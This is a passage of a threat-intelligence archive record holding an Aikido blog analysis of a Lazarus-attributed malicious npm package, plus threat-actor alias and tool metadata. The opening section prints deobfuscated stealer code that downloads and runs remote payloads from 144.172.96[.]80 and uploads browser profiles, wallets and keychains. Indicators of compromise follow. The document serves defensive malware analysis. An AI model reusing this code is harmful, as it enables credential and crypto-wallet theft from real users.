\"\\\\p2.zip\";\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 18 of 26\n\nif (It \u003e= 51476596) {\r\n return;\r\n }\r\n if (fs.existsSync(_0x63e597)) {\r\n try {\r\n var _0x2d691c = fs.statSync(_0x63e597);\r\n if (_0x2d691c.size \u003e= 51476596) {\r\n It = _0x2d691c.size;\r\n fs.rename(_0x63e597, _0x37a8dc, _0x34791b =\u003e {\r\n if (_0x34791b) {\r\n throw _0x34791b;\r\n }\r\n extractFile(_0x37a8dc);\r\n });\r\n } else {\r\n if (It \u003c _0x2d691c.size) {\r\n It = _0x2d691c.size;\r\n } else {\r\n fs.rmSync(_0x63e597);\r\n It = 0;\r\n }\r\n Ht();\r\n }\r\n } catch (_0xf9efb1) {}\r\n } else {\r\n ex(\"curl -Lo \\\"\" + _0x63e597 + \"\\\" \\\"\" + \"http://144.172.96[.]80:1224/pdown\" + \"\\\"\", (_0x33551d, _0x26a269,\r\n if (_0x33551d) {\r\n It = 0;\r\n return void Ht();\r\n }\r\n try {\r\n It = 51476596;\r\n fs.renameSync(_0x63e597, _0x37a8dc);\r\n extractFile(_0x37a8dc);\r\n } catch (_0x177129) {}\r\n });\r\n }\r\n};\r\nfunction Ht() {\r\n setTimeout(() =\u003e {\r\n runP();\r\n }, 20000);\r\n}\r\nconst Xt = async () =\u003e await new Promise((_0x18b6b4, _0x438ac4) =\u003e {\r\n if ('w' == platform[0]) {\r\n if (fs.existsSync(homeDir + \"\\\\.pyp\\\\python.exe\")) {\r\n (() =\u003e {\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 19 of 26\n\nconst _0x2f7a17 = homeDir + \"/.npl\";\r\n const _0x37e74f = \"\\\"\" + homeDir + \"\\\\.pyp\\\\python.exe\\\" \\\"\" + _0x2f7a17 + \"\\\"\";\r\n try {\r\n fs.rmSync(_0x2f7a17);\r\n } catch (_0x3bd9ea) {}\r\n request.get(\"http://144.172.96[.]80:1224/client/106/106\", (_0x9dd16b, _0x3ea1c7, _0x3de797) =\u003e {\r\n if (!_0x9dd16b) {\r\n try {\r\n fs.writeFileSync(_0x2f7a17, _0x3de797);\r\n ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) =\u003e {});\r\n } catch (_0x527428) {}\r\n }\r\n });\r\n })();\r\n } else {\r\n runP();\r\n }\r\n } else {\r\n (() =\u003e {\r\n request.get(\"http://144.172.96[.]80:1224/client/106/106\", (_0x20405e, _0x32be8c, _0x1add23) =\u003e {\r\n if (!_0x20405e) {\r\n fs.writeFileSync(homeDir + \"/.npl\", _0x1add23);\r\n ex(\"python3 \\\"\" + homeDir + \"/.npl\\\"\", (_0x7f426f, _0x3db0b7, _0x1160de) =\u003e {});\r\n }\r\n });\r\n })();\r\n }\r\n});\r\nvar M = 0;\r\nconst main = async () =\u003e {\r\n try {\r\n const _0x153de8 = Math.round(new Date().getTime() / 1000);\r\n await (async () =\u003e {\r\n try {\r\n await UpAppData(Q, 0, _0x153de8);\r\n await UpAppData(R, 1, _0x153de8);\r\n await UpAppData(X, 2, _0x153de8);\r\n uploadMozilla(_0x153de8);\r\n uploadEs(_0x153de8);\r\n if ('w' == platform[0]) {\r\n await uploadFiles(getAbsolutePath('~/') + \"/AppData/Local/Microsoft/Edge/User Data\", '3_', false, _0x1\r\n }\r\n if ('d' == platform[0]) {\r\n await UpKeychain(_0x153de8);\r\n } else {\r\n await UpUserData(Q, 0, _0x153de8);\r\n await UpUserData(R, 1, _0x153de8);\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 20 of 26\n\nawait UpUserData(X, 2, _0x153de8);\r\n }\r\n } catch (_0x324883) {}\r\n })();\r\n Xt();\r\n } catch (_0x2eb6a7) {}\r\n};\r\nmain();\r\nXt();\r\nlet Ct = setInterval(() =\u003e {\r\n if ((M += 1) \u003c 2) {\r\n main();\r\n } else {\r\n clearInterval(Ct);\r\n }\r\n}, 30000);\r\nHere we could see the sneaky activity the attackers were trying to do. In this case it is a very classic playbook. The\r\nexact same type of payload we have seen in many attacks for example UA-pajser exploit. \r\nStealing crypto wallets.\r\nStealing browser caches.\r\nStealing keychains.\r\nDownloading and running additional payloads.\r\nBut classics are classic for a reason, they typically work and is the fastest / easiest way to profit from a\r\nsupplychain attack while getting the opportunity to move laterally and persist the attack in different\r\nenvironments. \r\nThis payload is not unfamiliar to us, we recognized it immediately as being from the state-sponsored North\r\nKorean hacking group, Lazarus. One of the most sophisticated hacking groups on the planet who recently stole\r\n$1.5B of Ethereum from Crypto exchange ByBit (apparently that's not enough) \r\nKeep malware out of your applications!\r\nAikido has just launched its Malware detection threat feed which monitors public registries like NPMjs and uses a\r\ncombination of traditional scanners and trained AI models to identify when malicious packages have been\r\nintroduced or formerly benign packages turned malicious. You can view malicious packages like this one on our\r\npublic malware threat feed at intel.aikido.dev .\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 21 of 26\n\nKey takeaways\r\nThere are several interesting takeaways from this, beyond the fact that even nation-state threat actors make stupid\r\nmistakes. The biggest one is that trying to hide will always stick out.\r\nUsually, Lazarus has obfuscated their code with common obfuscation tools. However, they can easily be\r\ndeobfuscated, and the presence of obfuscation alone will trigger more in-depth analysis and scrutiny of the\r\npackage.\r\nFor them to try to “hide” the malicious payload from human eyes like they did, is clever. But in doing so, they in\r\nfact introduce more signals too. Because large amounts of whitespace like that is not normal. Trying to hide will\r\nalways generate more signals we can leverage for detection.\r\nThat’s why they have tried to move the bulk of the payload onto a remote server that’s fetched at runtime. But the\r\naction of fetching something from a server also introduces more detection signals. \r\nAll things that trivially can be detected through our broad set combination of detection techniques that we train\r\nour AI detection systems on. The more they try to hide, the more easily they will get detected in fact. \r\nCheck out the video\r\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 22 of 26\n\nLazarus Group Indicators\r\nWe are able to attribute this malware to the Lazarus group due to several fingerprints within the payload as well as\r\nsome additional indicators below.\r\nIPs\r\n144.172.96[.]80\r\nURLs\r\nhxxp://144.172.96[.]80:1224/client/106/106\r\nhxxp://144.172.96[.]80:1224/uploads \r\nhxxp://144.172.96[.]80:1224/pdown\r\nhttps://ipcheck-production.up.railway[.]app/106\r\nnpm accounts\r\npdec212\r\nGithub accounts\r\npdec9690\r\nLast updated on:\r\nJun 20, 2025\r\nSecure your software now\r\nStart today, for free.\r\nStart for Free\r\nNo CC required\r\n4.7/5\r\nTired of false positives?\r\nTry Aikido like 100k others.\r\nStart Now\r\nGet a personalized walkthrough\r\nTrusted by 100k+ teams\r\nBook Now\r\nScan your app for IDORs and real attack paths\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 23 of 26\n\nTrusted by 100k+ teams\r\nStart Scanning\r\nSee how AI pentests your app\r\nTrusted by 100k+ teams\r\nStart Testing\r\nMarch 30, 2026\r\n•\r\nVulnerabilities \u0026 Threats\r\naxios compromised on npm: maintainer account hijacked, RAT deployed\r\nMalicious axios versions 1.14.1 and 0.30.4 were published via a hijacked maintainer account. A hidden\r\ndependency deploys a cross-platform RAT. Check if you are affected and remediate now.\r\n#\r\nMalware\r\nMarch 27, 2026\r\n•\r\nVulnerabilities \u0026 Threats\r\nPopular telnyx package compromised on PyPI by TeamPCP\r\nThe popular telnyx packageon PyPI, used by big AI companies, has been compromised by TeamPCP\r\n#\r\nMalware\r\n#\r\nPypi\r\nMarch 22, 2026\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 24 of 26\n\n•\r\nVulnerabilities \u0026 Threats\r\nCanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran\r\nCanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran\r\n#\r\nNPM\r\n#\r\nMalware\r\nGet secure now\r\nSecure your code, cloud, and runtime in one central system.\r\nFind and fix vulnerabilities fast automatically.\r\nNo credit card required | Scan results in 32secs.\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 25 of 26\n\nSource: https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 26 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers"
	],
	"report_names": [
		"malware-hiding-in-plain-sight-spying-on-north-korean-hackers"
	],
	"threat_actors": [
		{
			"id": "34eea331-d052-4096-ae03-a22f1d090bd4",
			"created_at": "2025-08-07T02:03:25.073494Z",
			"updated_at": "2026-04-10T02:00:03.709243Z",
			"deleted_at": null,
			"main_name": "NICKEL ACADEMY",
			"aliases": [
				"ATK3 ",
				"Black Artemis ",
				"COVELLITE ",
				"CTG-2460 ",
				"Citrine Sleet ",
				"Diamond Sleet ",
				"Guardians of Peace",
				"HIDDEN COBRA ",
				"High Anonymous",
				"Labyrinth Chollima ",
				"Lazarus Group ",
				"NNPT Group",
				"New Romanic Cyber Army Team",
				"Temp.Hermit ",
				"UNC577 ",
				"Who Am I?",
				"Whois Team",
				"ZINC "
			],
			"source_name": "Secureworks:NICKEL ACADEMY",
			"tools": [
				"Destover",
				"KorHigh",
				"Volgmer"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "732597b1-40a8-474c-88cc-eb8a421c29f1",
			"created_at": "2025-08-07T02:03:25.087732Z",
			"updated_at": "2026-04-10T02:00:03.776007Z",
			"deleted_at": null,
			"main_name": "NICKEL GLADSTONE",
			"aliases": [
				"APT38 ",
				"ATK 117 ",
				"Alluring Pisces ",
				"Black Alicanto ",
				"Bluenoroff ",
				"CTG-6459 ",
				"Citrine Sleet ",
				"HIDDEN COBRA ",
				"Lazarus Group",
				"Sapphire Sleet ",
				"Selective Pisces ",
				"Stardust Chollima ",
				"T-APT-15 ",
				"TA444 ",
				"TAG-71 "
			],
			"source_name": "Secureworks:NICKEL GLADSTONE",
			"tools": [
				"AlphaNC",
				"Bankshot",
				"CCGC_Proxy",
				"Ratankba",
				"RustBucket",
				"SUGARLOADER",
				"SwiftLoader",
				"Wcry"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-04-10T02:00:02.971571Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Operation DarkSeoul",
				"Bureau 121",
				"Group 77",
				"APT38",
				"NICKEL GLADSTONE",
				"G0082",
				"COPERNICIUM",
				"Moonstone Sleet",
				"Operation GhostSecret",
				"APT 38",
				"Appleworm",
				"Unit 121",
				"ATK3",
				"G0032",
				"ATK117",
				"NewRomanic Cyber Army Team",
				"Nickel Academy",
				"Sapphire Sleet",
				"Lazarus group",
				"Hastati Group",
				"Subgroup: Bluenoroff",
				"Operation Troy",
				"Black Artemis",
				"Dark Seoul",
				"Andariel",
				"Labyrinth Chollima",
				"Operation AppleJeus",
				"COVELLITE",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Hidden Cobra",
				"Bluenoroff",
				"Stardust Chollima",
				"Whois Hacking Team",
				"Diamond Sleet",
				"TA404",
				"BeagleBoyz",
				"APT-C-26"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "32a223a8-3c79-4146-87c5-8557d38662ae",
			"created_at": "2022-10-25T15:50:23.703698Z",
			"updated_at": "2026-04-10T02:00:05.261989Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Lazarus Group",
				"Labyrinth Chollima",
				"HIDDEN COBRA",
				"Guardians of Peace",
				"NICKEL ACADEMY",
				"Diamond Sleet"
			],
			"source_name": "MITRE:Lazarus Group",
			"tools": [
				"RawDisk",
				"Proxysvc",
				"BADCALL",
				"FALLCHILL",
				"WannaCry",
				"MagicRAT",
				"HOPLIGHT",
				"TYPEFRAME",
				"Dtrack",
				"HotCroissant",
				"HARDRAIN",
				"Dacls",
				"KEYMARBLE",
				"TAINTEDSCRIBE",
				"AuditCred",
				"netsh",
				"ECCENTRICBANDWAGON",
				"AppleJeus",
				"BLINDINGCAN",
				"ThreatNeedle",
				"Volgmer",
				"Cryptoistic",
				"RATANKBA",
				"Bankshot"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "63883709-27b5-4b65-9aac-c782780fbb28",
			"created_at": "2026-04-10T02:00:03.996704Z",
			"updated_at": "2026-04-10T02:00:03.996704Z",
			"deleted_at": null,
			"main_name": "TeamPCP",
			"aliases": [],
			"source_name": "MISPGALAXY:TeamPCP",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f32df445-9fb4-4234-99e0-3561f6498e4e",
			"created_at": "2022-10-25T16:07:23.756373Z",
			"updated_at": "2026-04-10T02:00:04.739611Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"APT-C-26",
				"ATK 3",
				"Appleworm",
				"Citrine Sleet",
				"DEV-0139",
				"Diamond Sleet",
				"G0032",
				"Gleaming Pisces",
				"Gods Apostles",
				"Gods Disciples",
				"Group 77",
				"Guardians of Peace",
				"Hastati Group",
				"Hidden Cobra",
				"ITG03",
				"Jade Sleet",
				"Labyrinth Chollima",
				"Lazarus Group",
				"NewRomanic Cyber Army Team",
				"Operation 99",
				"Operation AppleJeus",
				"Operation AppleJeus sequel",
				"Operation Blockbuster: Breach of Sony Pictures Entertainment",
				"Operation CryptoCore",
				"Operation Dream Job",
				"Operation Dream Magic",
				"Operation Flame",
				"Operation GhostSecret",
				"Operation In(ter)caption",
				"Operation LolZarus",
				"Operation Marstech Mayhem",
				"Operation No Pineapple!",
				"Operation North Star",
				"Operation Phantom Circuit",
				"Operation Sharpshooter",
				"Operation SyncHole",
				"Operation Ten Days of Rain / DarkSeoul",
				"Operation Troy",
				"SectorA01",
				"Slow Pisces",
				"TA404",
				"TraderTraitor",
				"UNC2970",
				"UNC4034",
				"UNC4736",
				"UNC4899",
				"UNC577",
				"Whois Hacking Team"
			],
			"source_name": "ETDA:Lazarus Group",
			"tools": [
				"3CX Backdoor",
				"3Rat Client",
				"3proxy",
				"AIRDRY",
				"ARTFULPIE",
				"ATMDtrack",
				"AlphaNC",
				"Alreay",
				"Andaratm",
				"AngryRebel",
				"AppleJeus",
				"Aryan",
				"AuditCred",
				"BADCALL",
				"BISTROMATH",
				"BLINDINGCAN",
				"BTC Changer",
				"BUFFETLINE",
				"BanSwift",
				"Bankshot",
				"Bitrep",
				"Bitsran",
				"BlindToad",
				"Bookcode",
				"BootWreck",
				"BottomLoader",
				"Brambul",
				"BravoNC",
				"Breut",
				"COLDCAT",
				"COPPERHEDGE",
				"CROWDEDFLOUNDER",
				"Castov",
				"CheeseTray",
				"CleanToad",
				"ClientTraficForwarder",
				"CollectionRAT",
				"Concealment Troy",
				"Contopee",
				"CookieTime",
				"Cyruslish",
				"DAVESHELL",
				"DBLL Dropper",
				"DLRAT",
				"DRATzarus",
				"DRATzarus RAT",
				"Dacls",
				"Dacls RAT",
				"DarkComet",
				"DarkKomet",
				"DeltaCharlie",
				"DeltaNC",
				"Dembr",
				"Destover",
				"DoublePulsar",
				"Dozer",
				"Dtrack",
				"Duuzer",
				"DyePack",
				"ECCENTRICBANDWAGON",
				"ELECTRICFISH",
				"Escad",
				"EternalBlue",
				"FALLCHILL",
				"FYNLOS",
				"FallChill RAT",
				"Farfli",
				"Fimlis",
				"FoggyBrass",
				"FudModule",
				"Fynloski",
				"Gh0st RAT",
				"Ghost RAT",
				"Gopuram",
				"HARDRAIN",
				"HIDDEN COBRA RAT/Worm",
				"HLOADER",
				"HOOKSHOT",
				"HOPLIGHT",
				"HOTCROISSANT",
				"HOTWAX",
				"HTTP Troy",
				"Hawup",
				"Hawup RAT",
				"Hermes",
				"HotCroissant",
				"HotelAlfa",
				"Hotwax",
				"HtDnDownLoader",
				"Http Dr0pper",
				"ICONICSTEALER",
				"Joanap",
				"Jokra",
				"KANDYKORN",
				"KEYMARBLE",
				"Kaos",
				"KillDisk",
				"KillMBR",
				"Koredos",
				"Krademok",
				"LIGHTSHIFT",
				"LIGHTSHOW",
				"LOLBAS",
				"LOLBins",
				"Lazarus",
				"LightlessCan",
				"Living off the Land",
				"MATA",
				"MBRkiller",
				"MagicRAT",
				"Manuscrypt",
				"Mimail",
				"Mimikatz",
				"Moudour",
				"Mydoom",
				"Mydoor",
				"Mytob",
				"NACHOCHEESE",
				"NachoCheese",
				"NestEgg",
				"NickelLoader",
				"NineRAT",
				"Novarg",
				"NukeSped",
				"OpBlockBuster",
				"PCRat",
				"PEBBLEDASH",
				"PLANKWALK",
				"POOLRAT",
				"PSLogger",
				"PhanDoor",
				"Plink",
				"PondRAT",
				"PowerBrace",
				"PowerRatankba",
				"PowerShell RAT",
				"PowerSpritz",
				"PowerTask",
				"Preft",
				"ProcDump",
				"Proxysvc",
				"PuTTY Link",
				"QUICKRIDE",
				"QUICKRIDE.POWER",
				"Quickcafe",
				"QuiteRAT",
				"R-C1",
				"ROptimizer",
				"Ratabanka",
				"RatabankaPOS",
				"Ratankba",
				"RatankbaPOS",
				"RawDisk",
				"RedShawl",
				"Rifdoor",
				"Rising Sun",
				"Romeo-CoreOne",
				"RomeoAlfa",
				"RomeoBravo",
				"RomeoCharlie",
				"RomeoCore",
				"RomeoDelta",
				"RomeoEcho",
				"RomeoFoxtrot",
				"RomeoGolf",
				"RomeoHotel",
				"RomeoMike",
				"RomeoNovember",
				"RomeoWhiskey",
				"Romeos",
				"RustBucket",
				"SHADYCAT",
				"SHARPKNOT",
				"SIGFLIP",
				"SIMPLESEA",
				"SLICKSHOES",
				"SORRYBRUTE",
				"SUDDENICON",
				"SUGARLOADER",
				"SheepRAT",
				"SierraAlfa",
				"SierraBravo",
				"SierraCharlie",
				"SierraJuliett-MikeOne",
				"SierraJuliett-MikeTwo",
				"SimpleTea",
				"SimplexTea",
				"SmallTiger",
				"Stunnel",
				"TAINTEDSCRIBE",
				"TAXHAUL",
				"TFlower",
				"TOUCHKEY",
				"TOUCHMOVE",
				"TOUCHSHIFT",
				"TOUCHSHOT",
				"TWOPENCE",
				"TYPEFRAME",
				"Tdrop",
				"Tdrop2",
				"ThreatNeedle",
				"Tiger RAT",
				"TigerRAT",
				"Trojan Manuscript",
				"Troy",
				"TroyRAT",
				"VEILEDSIGNAL",
				"VHD",
				"VHD Ransomware",
				"VIVACIOUSGIFT",
				"VSingle",
				"ValeforBeta",
				"Volgmer",
				"Vyveva",
				"W1_RAT",
				"Wana Decrypt0r",
				"WanaCry",
				"WanaCrypt",
				"WanaCrypt0r",
				"WannaCry",
				"WannaCrypt",
				"WannaCryptor",
				"WbBot",
				"Wcry",
				"Win32/KillDisk.NBB",
				"Win32/KillDisk.NBC",
				"Win32/KillDisk.NBD",
				"Win32/KillDisk.NBH",
				"Win32/KillDisk.NBI",
				"WinorDLL64",
				"Winsec",
				"WolfRAT",
				"Wormhole",
				"YamaBot",
				"Yort",
				"ZetaNile",
				"concealment_troy",
				"http_troy",
				"httpdr0pper",
				"httpdropper",
				"klovbot",
				"sRDI"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775438967,
	"ts_updated_at": 1775826701,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/65ae74b9b03da28f0392a922550048c6895b6a2f.pdf",
		"text": "https://archive.orkl.eu/65ae74b9b03da28f0392a922550048c6895b6a2f.txt",
		"img": "https://archive.orkl.eu/65ae74b9b03da28f0392a922550048c6895b6a2f.jpg"
	}
}